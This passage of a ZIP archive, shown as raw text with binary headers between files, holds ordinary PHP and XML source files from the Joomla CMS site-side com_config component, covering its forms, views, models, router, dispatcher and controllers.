			readonly="true"
		/>

		<field
			name="title"
			type="text"
			label="COM_TEMPLATES_FIELD_TITLE_LABEL"
			size="50"
			required="true"
		/>

		<field name="assigned" type="hidden" />

	</fieldset>
</form>
PK���\�8E�{	{	com_config/forms/config.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset
		name="metadata"
		label="COM_CONFIG_METADATA_SETTINGS">
		<field
			name="MetaDesc"
			type="textarea"
			label="COM_CONFIG_FIELD_METADESC_LABEL"
			filter="string"
			cols="60"
			rows="3"
			maxlength="160"
			charcounter="true"
		/>

		<field
			name="MetaRights"
			type="textarea"
			label="JFIELD_META_RIGHTS_LABEL"
			description="JFIELD_META_RIGHTS_DESC"
			filter="string"
			cols="60"
			rows="2"
		/>

	</fieldset>

	<fieldset
		name="seo"
		label="CONFIG_SEO_SETTINGS_LABEL">
		<field
			name="sef"
			type="radio"
			label="COM_CONFIG_FIELD_SEF_URL_LABEL"
			description="COM_CONFIG_FIELD_SEF_URL_DESC"
			default="1"
			layout="joomla.form.field.radio.switcher"
			filter="integer"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="sitename_pagetitles"
			type="list"
			label="COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL"
			default="0"
			filter="integer"
			validate="options"
			>
			<option value="2">COM_CONFIG_FIELD_VALUE_AFTER</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_BEFORE</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="site"
		label="CONFIG_SITE_SETTINGS_LABEL">

		<field
			name="sitename"
			type="text"
			label="COM_CONFIG_FIELD_SITE_NAME_LABEL"
			required="true"
			filter="string"
			size="50"
		/>

		<field
			name="offline"
			type="radio"
			label="COM_CONFIG_FIELD_SITE_OFFLINE_LABEL"
			default="0"
			layout="joomla.form.field.radio.switcher"
			filter="integer"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC"
			default="1"
			filter="UINT"
			validate="options"
		/>

		<field
			name="list_limit"
			type="list"
			label="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL"
			default="20"
			filter="integer"
			validate="options"
			>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="100">J100</option>
		</field>

	</fieldset>

	<fieldset>
		<field
			name="asset_id"
			type="hidden"
		/>
	</fieldset>
</form>
PK���\6����'com_config/src/View/Config/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\View\Config;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\Component\Config\Administrator\Controller\RequestController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View for the global configuration
 *
 * @since  3.2
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The form object
     *
     * @var   \Joomla\CMS\Form\Form
     *
     * @since 3.2
     */
    public $form;

    /**
     * The data to be displayed in the form
     *
     * @var   array
     *
     * @since 3.2
     */
    public $data;

    /**
     * Is the current user a super administrator?
     *
     * @var   boolean
     *
     * @since 3.2
     */
    protected $userIsSuperAdmin;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   3.2
     */
    public function display($tpl = null)
    {
        $user                   = $this->getCurrentUser();
        $this->userIsSuperAdmin = $user->authorise('core.admin');

        // Access backend com_config
        $requestController = new RequestController();

        // Execute backend controller
        $serviceData = json_decode($requestController->getJson(), true);

        $form = $this->getForm();

        if ($form) {
            $form->bind($serviceData);
        }

        $this->form = $form;
        $this->data = $serviceData;

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function _prepareDocument()
    {
        $params = Factory::getApplication()->getParams();

        // Because the application sets a default page title, we need to get it
        // right from the menu item itself

        $this->setDocumentTitle($params->get('page_title', ''));

        if ($params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($params->get('menu-meta_description'));
        }

        if ($params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $params->get('robots'));
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
        $this->params        = &$params;
    }
}
PK���\�$M��*com_config/src/View/Templates/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\View\Templates;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\MVC\Factory\MVCFactory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\Component\Config\Administrator\Controller\RequestController;
use Joomla\Component\Templates\Administrator\View\Style\JsonView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View to edit a template style.
 *
 * @since  3.2
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The data to be displayed in the form
     *
     * @var   array
     *
     * @since 3.2
     */
    public $item;

    /**
     * The form object
     *
     * @var   Form
     *
     * @since 3.2
     */
    public $form;

    /**
     * Is the current user a super administrator?
     *
     * @var   boolean
     *
     * @since 3.2
     */
    protected $userIsSuperAdmin;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * Method to render the view.
     *
     * @return  void
     *
     * @since   3.2
     */
    public function display($tpl = null)
    {
        $user                   = $this->getCurrentUser();
        $this->userIsSuperAdmin = $user->authorise('core.admin');

        $app   = Factory::getApplication();

        $app->getInput()->set('id', $app->getTemplate(true)->id);

        /** @var MVCFactory $factory */
        $factory = $app->bootComponent('com_templates')->getMVCFactory();

        /** @var JsonView $view */
        $view = $factory->createView('Style', 'Administrator', 'Json');
        $view->setModel($factory->createModel('Style', 'Administrator'), true);
        $view->setLanguage($app->getLanguage());

        $view->document = $this->getDocument();

        $json = $view->display();

        // Execute backend controller
        $serviceData = json_decode($json, true);

        // Access backend com_config
        $requestController = new RequestController();

        // Execute backend controller
        $configData = json_decode($requestController->getJson(), true);

        $data = array_merge($configData, $serviceData);

        /** @var Form $form */
        $form = $this->getForm();

        if ($form) {
            $form->bind($data);
        }

        $this->form = $form;

        $this->data = $serviceData;

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function _prepareDocument()
    {
        $params = Factory::getApplication()->getParams();

        // Because the application sets a default page title, we need to get it
        // right from the menu item itself
        $this->setDocumentTitle($params->get('page_title', ''));

        if ($params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($params->get('menu-meta_description'));
        }

        if ($params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $params->get('robots'));
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
        $this->params        = &$params;
    }
}
PK���\o(]�	�	(com_config/src/View/Modules/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\View\Modules;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View to edit a module.
 *
 * @since       3.2
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The module to be rendered
     *
     * @var   array
     *
     * @since 3.2
     */
    public $item;

    /**
     * The form object
     *
     * @var   Form
     *
     * @since 3.2
     */
    public $form;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   3.2
     */
    public function display($tpl = null)
    {
        $lang = Factory::getApplication()->getLanguage();
        $lang->load('', JPATH_ADMINISTRATOR, $lang->getTag());
        $lang->load('com_modules', JPATH_ADMINISTRATOR, $lang->getTag());

        // @todo Move and clean up
        $module = (new \Joomla\Component\Modules\Administrator\Model\ModuleModel())->getItem(Factory::getApplication()->getInput()->getInt('id'));

        $moduleData = $module->getProperties();
        unset($moduleData['xml']);

        /** @var \Joomla\Component\Config\Site\Model\ModulesModel $model */
        $model = $this->getModel();

        // Need to add module name to the state of model
        $model->getState()->set('module.name', $moduleData['module']);

        /** @var Form form */
        $this->form      = $this->get('form');
        $this->positions = $this->get('positions');
        $this->item      = $moduleData;

        if ($this->form) {
            $this->form->bind($moduleData);
        }

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function _prepareDocument()
    {
        // There is no menu item for this so we have to use the title from the component
        $this->setDocumentTitle(Text::_('COM_CONFIG_MODULES_SETTINGS_TITLE'));
    }
}
PK���\UX�]��!com_config/src/Service/Router.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Service;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\Router\RouterView;
use Joomla\CMS\Component\Router\RouterViewConfiguration;
use Joomla\CMS\Component\Router\Rules\MenuRules;
use Joomla\CMS\Component\Router\Rules\NomenuRules;
use Joomla\CMS\Component\Router\Rules\StandardRules;
use Joomla\CMS\Menu\AbstractMenu;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Routing class from com_config
 *
 * @since  4.0.0
 */
class Router extends RouterView
{
    /**
     * Config Component router constructor
     *
     * @param   SiteApplication  $app   The application object
     * @param   AbstractMenu     $menu  The menu object to work with
     */
    public function __construct(SiteApplication $app, AbstractMenu $menu)
    {
        $this->registerView(new RouterViewConfiguration('config'));
        $this->registerView(new RouterViewConfiguration('templates'));

        parent::__construct($app, $menu);

        $this->attachRule(new MenuRules($this));
        $this->attachRule(new StandardRules($this));
        $this->attachRule(new NomenuRules($this));
    }
}
PK���\Ďਥ�(com_config/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Dispatcher;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_config
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Method to check component access permission
     *
     * @since   4.0.0
     *
     * @return  void
     *
     * @throws  \Exception|NotAllowed
     */
    protected function checkAccess()
    {
        parent::checkAccess();

        $task = $this->input->getCmd('task', 'display');
        $view = $this->input->get('view');
        $user = $this->app->getIdentity();

        if (substr($task, 0, 8) === 'modules.' || $view === 'modules') {
            if (!$user->authorise('module.edit.frontend', 'com_modules.module.' . $this->input->get('id'))) {
                throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
            }
        } elseif (!$user->authorise('core.admin')) {
            throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
        }
    }
}
PK���\��ؾ�
�
'com_config/src/Model/TemplatesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Template style model.
 *
 * @since  3.2
 */
class TemplatesModel extends FormModel
{
    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  null
     *
     * @since   3.2
     */
    protected function populateState()
    {
        parent::populateState();

        $this->setState('params', ComponentHelper::getParams('com_templates'));
    }

    /**
     * Method to get the record form.
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|bool    A JForm object on success, false on failure
     *
     * @since   3.2
     */
    public function getForm($data = [], $loadData = true)
    {
        try {
            // Get the form.
            $form = $this->loadForm('com_config.templates', 'templates', ['load_data' => $loadData]);

            $data = [];
            $this->preprocessForm($form, $data);

            // Load the data into the form
            $form->bind($data);
        } catch (\Exception $e) {
            Factory::getApplication()->enqueueMessage($e->getMessage());

            return false;
        }

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to preprocess the form
     *
     * @param   Form    $form   A form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  Plugin group to load
     *
     * @return  void
     *
     * @since   3.2
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        $lang = Factory::getLanguage();

        $template = Factory::getApplication()->getTemplate();

        // Load the core and/or local language file(s).
        $lang->load('tpl_' . $template, JPATH_BASE)
        || $lang->load('tpl_' . $template, JPATH_BASE . '/templates/' . $template);

        // Look for com_config.xml, which contains fields to display
        $formFile = Path::clean(JPATH_BASE . '/templates/' . $template . '/com_config.xml');

        if (!file_exists($formFile)) {
            // If com_config.xml not found, fall back to templateDetails.xml
            $formFile = Path::clean(JPATH_BASE . '/templates/' . $template . '/templateDetails.xml');
        }

        // Get the template form.
        if (file_exists($formFile) && !$form->loadFile($formFile, false, '//config')) {
            throw new \Exception(Text::_('JERROR_LOADFILE_FAILED'));
        }

        // Attempt to load the xml file.
        if (!$xml = simplexml_load_file($formFile)) {
            throw new \Exception(Text::_('JERROR_LOADFILE_FAILED'));
        }

        // Trigger the default form events.
        parent::preprocessForm($form, $data, $group);
    }
}
PK���\�lѲ::%com_config/src/Model/ModulesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Config Module model.
 *
 * @since  3.2
 */
class ModulesModel extends FormModel
{
    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   3.2
     */
    protected function populateState()
    {
        $app = Factory::getApplication();

        // Load the User state.
        $pk = $app->getInput()->getInt('id');

        $this->setState('module.id', $pk);
    }

    /**
     * Method to get the record form.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form  A Form object on success, false on failure
     *
     * @since   3.2
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_config.modules', 'modules', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to preprocess the form
     *
     * @param   Form    $form   A form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   3.2
     * @throws  \Exception if there is an error loading the form.
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        $lang     = Factory::getLanguage();
        $module   = $this->getState()->get('module.name');
        $basePath = JPATH_BASE;

        $formFile = Path::clean($basePath . '/modules/' . $module . '/' . $module . '.xml');

        // Load the core and/or local language file(s).
        $lang->load($module, $basePath)
            || $lang->load($module, $basePath . '/modules/' . $module);

        if (file_exists($formFile)) {
            // Get the module form.
            if (!$form->loadFile($formFile, false, '//config')) {
                throw new \Exception(Text::_('JERROR_LOADFILE_FAILED'));
            }

            // Attempt to load the xml file.
            if (!$xml = simplexml_load_file($formFile)) {
                throw new \Exception(Text::_('JERROR_LOADFILE_FAILED'));
            }
        }

        // Load the default advanced params
        Form::addFormPath(JPATH_BASE . '/components/com_config/model/form');
        $form->loadFile('modules_advanced', false);

        // Trigger the default form events.
        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to get list of module positions in current template
     *
     * @return  array
     *
     * @since   3.2
     */
    public function getPositions()
    {
        $lang         = Factory::getLanguage();
        $templateName = Factory::getApplication()->getTemplate();

        // Load templateDetails.xml file
        $path                     = Path::clean(JPATH_BASE . '/templates/' . $templateName . '/templateDetails.xml');
        $currentTemplatePositions = [];

        if (file_exists($path)) {
            $xml = simplexml_load_file($path);

            if (isset($xml->positions[0])) {
                // Load language files
                $lang->load('tpl_' . $templateName . '.sys', JPATH_BASE)
                || $lang->load('tpl_' . $templateName . '.sys', JPATH_BASE . '/templates/' . $templateName);

                foreach ($xml->positions[0] as $position) {
                    $value = (string) $position;
                    $text  = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_' . strtoupper($templateName) . '_POSITION_' . strtoupper($value));

                    // Construct list of positions
                    $currentTemplatePositions[] = self::createOption($value, Text::_($text) . ' [' . $value . ']');
                }
            }
        }

        $templateGroups = [];

        // Add an empty value to be able to deselect a module position
        $option             = self::createOption();
        $templateGroups[''] = self::createOptionGroup('', [$option]);

        $templateGroups[$templateName] = self::createOptionGroup($templateName, $currentTemplatePositions);

        // Add custom position to options
        $customGroupText = Text::_('COM_MODULES_CUSTOM_POSITION');

        $editPositions                    = true;
        $customPositions                  = self::getActivePositions(0, $editPositions);
        $templateGroups[$customGroupText] = self::createOptionGroup($customGroupText, $customPositions);

        return $templateGroups;
    }

    /**
     * Get a list of modules positions
     *
     * @param   integer  $clientId       Client ID
     * @param   boolean  $editPositions  Allow to edit the positions
     *
     * @return  array  A list of positions
     *
     * @since   3.6.3
     */
    public static function getActivePositions($clientId, $editPositions = false)
    {
        $db    = Factory::getDbo();
        $query = $db->getQuery(true)
            ->select('DISTINCT position')
            ->from($db->quoteName('#__modules'))
            ->where($db->quoteName('client_id') . ' = ' . (int) $clientId)
            ->order($db->quoteName('position'));

        $db->setQuery($query);

        try {
            $positions = $db->loadColumn();
            $positions = is_array($positions) ? $positions : [];
        } catch (\RuntimeException $e) {
            Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');

            return;
        }

        // Build the list
        $options = [];

        foreach ($positions as $position) {
            if (!$position && !$editPositions) {
                $options[] = HTMLHelper::_('select.option', 'none', ':: ' . Text::_('JNONE') . ' ::');
            } else {
                $options[] = HTMLHelper::_('select.option', $position, $position);
            }
        }

        return $options;
    }

    /**
     * Create and return a new Option
     *
     * @param   string  $value  The option value [optional]
     * @param   string  $text   The option text [optional]
     *
     * @return  object  The option as an object (stdClass instance)
     *
     * @since   3.6.3
     */
    private static function createOption($value = '', $text = '')
    {
        if (empty($text)) {
            $text = $value;
        }

        $option        = new \stdClass();
        $option->value = $value;
        $option->text  = $text;

        return $option;
    }

    /**
     * Create and return a new Option Group
     *
     * @param   string  $label    Value and label for group [optional]
     * @param   array   $options  Array of options to insert into group [optional]
     *
     * @return  array  Return the new group as an array
     *
     * @since   3.6.3
     */
    private static function createOptionGroup($label = '', $options = [])
    {
        $group          = [];
        $group['value'] = $label;
        $group['text']  = $label;
        $group['items'] = $options;

        return $group;
    }
}
PK���\�&4SS$com_config/src/Model/ConfigModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Model;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Model for the global configuration
 *
 * @since  3.2
 */
class ConfigModel extends FormModel
{
    /**
     * Method to get a form object.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  mixed   A JForm object on success, false on failure
     *
     * @since   3.2
     */
    public function getForm($data = [], $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_config.config', 'config', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        return $form;
    }
}
PK���\��x� � "com_config/src/Model/FormModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\FormModel as BaseForm;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Prototype form model.
 *
 * @see    JForm
 * @see    \Joomla\CMS\Form\FormField
 * @see    \Joomla\CMS\Form\FormRule
 * @since  3.2
 */
abstract class FormModel extends BaseForm
{
    /**
     * Array of form objects.
     *
     * @var    array
     * @since  3.2
     */
    protected $forms = [];

    /**
     * Method to checkin a row.
     *
     * @param   integer  $pk  The numeric id of the primary key.
     *
     * @return  boolean  False on failure or error, true otherwise.
     *
     * @since   3.2
     * @throws  \RuntimeException
     */
    public function checkin($pk = null)
    {
        // Only attempt to check the row in if it exists.
        if ($pk) {
            $user = $this->getCurrentUser();

            // Get an instance of the row to checkin.
            $table = $this->getTable();

            if (!$table->load($pk)) {
                throw new \RuntimeException($table->getError());
            }

            // Check if this is the user has previously checked out the row.
            if (!is_null($table->checked_out) && $table->checked_out != $user->get('id') && !$user->authorise('core.admin', 'com_checkin')) {
                throw new \RuntimeException($table->getError());
            }

            // Attempt to check the row in.
            if (!$table->checkIn($pk)) {
                throw new \RuntimeException($table->getError());
            }
        }

        return true;
    }

    /**
     * Method to check-out a row for editing.
     *
     * @param   integer  $pk  The numeric id of the primary key.
     *
     * @return  boolean  False on failure or error, true otherwise.
     *
     * @since   3.2
     */
    public function checkout($pk = null)
    {
        // Only attempt to check the row in if it exists.
        if ($pk) {
            $user = $this->getCurrentUser();

            // Get an instance of the row to checkout.
            $table = $this->getTable();

            if (!$table->load($pk)) {
                throw new \RuntimeException($table->getError());
            }

            // Check if this is the user having previously checked out the row.
            if (!is_null($table->checked_out) && $table->checked_out != $user->get('id')) {
                throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH'));
            }

            // Attempt to check the row out.
            if (!$table->checkOut($user->get('id'), $pk)) {
                throw new \RuntimeException($table->getError());
            }
        }

        return true;
    }

    /**
     * Method to get a form object.
     *
     * @param   string   $name     The name of the form.
     * @param   string   $source   The form source. Can be XML string if file flag is set to false.
     * @param   array    $options  Optional array of options for the form creation.
     * @param   boolean  $clear    Optional argument to force load a new form.
     * @param   string   $xpath    An optional xpath to search for the fields.
     *
     * @return  mixed  JForm object on success, False on error.
     *
     * @see     JForm
     * @since   3.2
     */
    protected function loadForm($name, $source = null, $options = [], $clear = false, $xpath = false)
    {
        // Handle the optional arguments.
        $options['control'] = ArrayHelper::getValue($options, 'control', false);

        // Create a signature hash.
        $hash = sha1($source . serialize($options));

        // Check if we can use a previously loaded form.
        if (isset($this->_forms[$hash]) && !$clear) {
            return $this->_forms[$hash];
        }

        //  Register the paths for the form.
        Form::addFormPath(JPATH_SITE . '/components/com_config/forms');
        Form::addFormPath(JPATH_ADMINISTRATOR . '/components/com_config/forms');

        try {
            // Get the form.
            $form = Form::getInstance($name, $source, $options, false, $xpath);

            if (isset($options['load_data']) && $options['load_data']) {
                // Get the data for the form.
                $data = $this->loadFormData();
            } else {
                $data = [];
            }

            // Allow for additional modification of the form, and events to be triggered.
            // We pass the data because plugins may require it.
            $this->preprocessForm($form, $data);

            // Load the data into the form after the plugins have operated.
            $form->bind($data);
        } catch (\Exception $e) {
            Factory::getApplication()->enqueueMessage($e->getMessage());

            return false;
        }

        // Store the form for later.
        $this->_forms[$hash] = $form;

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return  array    The default data is an empty array.
     *
     * @since   3.2
     */
    protected function loadFormData()
    {
        return [];
    }

    /**
     * Method to allow derived classes to preprocess the data.
     *
     * @param   string  $context  The context identifier.
     * @param   mixed   &$data    The data to be processed. It gets altered directly.
     * @param   string  $group    The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @since   3.2
     */
    protected function preprocessData($context, &$data, $group = 'content')
    {
        // Get the dispatcher and load the users plugins.
        PluginHelper::importPlugin('content');

        // Trigger the data preparation event.
        Factory::getApplication()->triggerEvent('onContentPrepareData', [$context, $data]);
    }

    /**
     * Method to allow derived classes to preprocess the form.
     *
     * @param   Form    $form   A Form object.
     * @param   mixed   $data   The data expected for the form.
     * @param   string  $group  The name of the plugin group to import (defaults to "content").
     *
     * @return  void
     *
     * @see     \Joomla\CMS\Form\FormField
     * @since   3.2
     * @throws  \Exception if there is an error in the form event.
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        // Import the appropriate plugin group.
        PluginHelper::importPlugin($group);

        // Trigger the form preparation event.
        Factory::getApplication()->triggerEvent('onContentPrepareForm', [$form, $data]);
    }

    /**
     * Method to validate the form data.
     *
     * @param   Form    $form   The form to validate against.
     * @param   array   $data   The data to validate.
     * @param   string  $group  The name of the field group to validate.
     *
     * @return  mixed  Array of filtered data if valid, false otherwise.
     *
     * @see     \Joomla\CMS\Form\FormRule
     * @see     JFilterInput
     * @since   3.2
     */
    public function validate($form, $data, $group = null)
    {
        // Filter and validate the form data.
        $data   = $form->filter($data);
        $return = $form->validate($data, $group);

        // Check for an error.
        if ($return instanceof \Exception) {
            Factory::getApplication()->enqueueMessage($return->getMessage(), 'error');

            return false;
        }

        // Check the validation results.
        if ($return === false) {
            // Get the validation messages from the form.
            foreach ($form->getErrors() as $message) {
                if ($message instanceof \Exception) {
                    $message = $message->getMessage();
                }

                Factory::getApplication()->enqueueMessage($message, 'error');
            }

            return false;
        }

        return $data;
    }
}
PK���\F;/com_config/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Component Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to handle cancel
     *
     * @return  void
     *
     * @since   3.2
     */
    public function cancel()
    {
        // Redirect back to home(base) page
        $this->setRedirect(Uri::base());
    }
}
PK���\
_�cff.com_config/src/Controller/ConfigController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Config\Site\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Component Controller
 *
 * @since  1.5
 */
class ConfigController extends BaseController
{
    /**
     * @param   array                         $config   An optional associative array of configuration settings.
     *                                                  Recognized key values include 'name', 'default_task', 'model_path', and
